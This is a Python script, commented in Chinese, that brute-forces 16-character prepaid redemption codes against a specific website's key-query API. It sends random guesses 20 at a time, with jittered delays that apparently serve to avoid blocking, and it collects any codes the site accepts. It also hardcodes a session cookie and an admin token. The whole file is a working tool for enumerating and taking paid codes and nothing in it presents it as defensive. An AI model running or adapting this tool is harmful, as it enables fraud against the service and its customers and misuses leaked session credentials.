import asyncio
import aiohttp
import random
import string
import time
import json
from typing import List, Tuple


class AsyncKeyTester:
    def __init__(self):
        # 会话配置
        self.session = None
        self.cookies = {
    'PHPSESSID': '42jlsg0j6q4s0qoo1dvc29leb3',
    'admin-token': 'ea974925e6180b866eb977a1505c965c',
}
        # 性能参数
        self.concurrency = 20  # 保守的并发数
        self.min_delay = 0.5  # 最小延迟
        self.max_delay = 2.0  # 最大延迟

        # 状态监控
        self.blocked = False
        self.tested = 0
        self.found = []
        self.running = False

    async def init_session(self):
        """初始化并保持单一会话"""
        if self.session and not self.session.closed:
            await self.session.close()

        self.session = aiohttp.ClientSession(
            headers={
                'Accept': 'application/json, text/plain, */*',
                'Accept-Language': 'zh-CN,zh;q=0.9',
                'Connection': 'keep-alive',
                'Content-Type': 'application/json',
                'Origin': 'https://xxt.one',
                'Referer': 'https://xxt.one/kmpay',
                'Sec-Fetch-Dest': 'empty',
                'Sec-Fetch-Mode': 'cors',
                'Sec-Fetch-Site': 'same-origin',
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36',
                'sec-ch-ua': '"Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"',
                'sec-ch-ua-mobile': '?0',
                'sec-ch-ua-platform': '"Windows"',
                # 'Cookie': 'PHPSESSID=42jlsg0j6q4s0qoo1dvc29leb3; admin-token=ea974925e6180b866eb977a1505c965c',
            },
            cookies=self.cookies
        )

    def generate_key(self):
        """生成16位随机卡密"""
        chars = string.ascii_letters + string.digits
        return ''.join(random.choices(chars, k=16))

    async def test_key(self, key: str) -> Tuple[bool, dict]:
        """测试单个卡密"""
        try:
            # 随机延迟
            await asyncio.sleep(random.uniform(self.min_delay, self.max_delay))

            async with self.session.post(
                    'https://xxt.one/api/v2/km/query',
                    json={'content': key},
                    timeout=aiohttp.ClientTimeout(total=10)
            ) as response:

                self.tested += 1
                data = await response.json()

                # 检查是否需要登录
                if data.get('code') == -10:
                    print(f"\n⚠️ 需要登录验证 | 卡密: {key}")
                    return False, None

                # 真正的有效卡密判断
                if data.get('msg') != '卡密不存在':
                    return True, data
                return False, None

        except Exception as e:
            print(f"\n请求异常: {str(e)[:50]}...")
            return False, None

    async def run_batch(self, batch: List[str]):
        """运行一批测试"""
        try:
            tasks = [self.test_key(key) for key in batch]
            results = await asyncio.gather(*tasks, return_exceptions=True)

            for result in results:
                if isinstance(result, Exception):
                    continue

                valid, data = result
                if valid and data:
                    print(f"\n🎯 发现有效卡密: {data.get('content')}")
                    print(f"响应数据: {json.dumps(data, indent=2, ensure_ascii=False)}")
                    self.found.append((data.get('content'), data))

        except Exception as e:
            print(f"\n批次错误: {str(e)}")

    async def run(self, duration_hours=1):
        """主运行函数"""
        await self.init_session()
        self.running = True

        print(f"🚀 启动测试 | 并发数: {self.concurrency}")
        print(f"⏱️ 预计运行: {duration_hours}小时")
        print("=" * 60)

        start_time = time.time()

        try:
            while self.running and time.time() - start_time < duration_hours * 3600:
                batch = [self.generate_key() for _ in range(self.concurrency)]
                await self.run_batch(batch)

        except KeyboardInterrupt:
            print("\n用户中断测试...")
        except Exception as e:
            print(f"\n运行错误: {str(e)}")
        finally:
            self.running = False
            if self.session and not self.session.closed:
                await self.session.close()

            print("\n" + "=" * 60)
            stats = {
                '总耗时': f"{(time.time() - start_time) / 60:.1f}分钟",
                '总测试量': self.tested,
                '有效卡密': len(self.found),
                '平均速度': f"{self.tested / max(1, (time.time() - start_time)):.2f}次/秒"
            }
            print("测试统计:")
            for k, v in stats.items():
                print(f"{k:>10}: {v}")

            if self.found:
                print("\n有效卡密列表:")
                for key, data in self.found:
                    print(f"- {key}: {data.get('msg', '无msg字段')}")


async def main():
    tester = AsyncKeyTester()
    try:
        await tester.run(duration_hours=2)
    except asyncio.CancelledError:
        print("\n任务被取消")
    finally:
        if tester.running:
            tester.running = False
            if tester.session and not tester.session.closed:
                await tester.session.close()


if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\n程序已终止")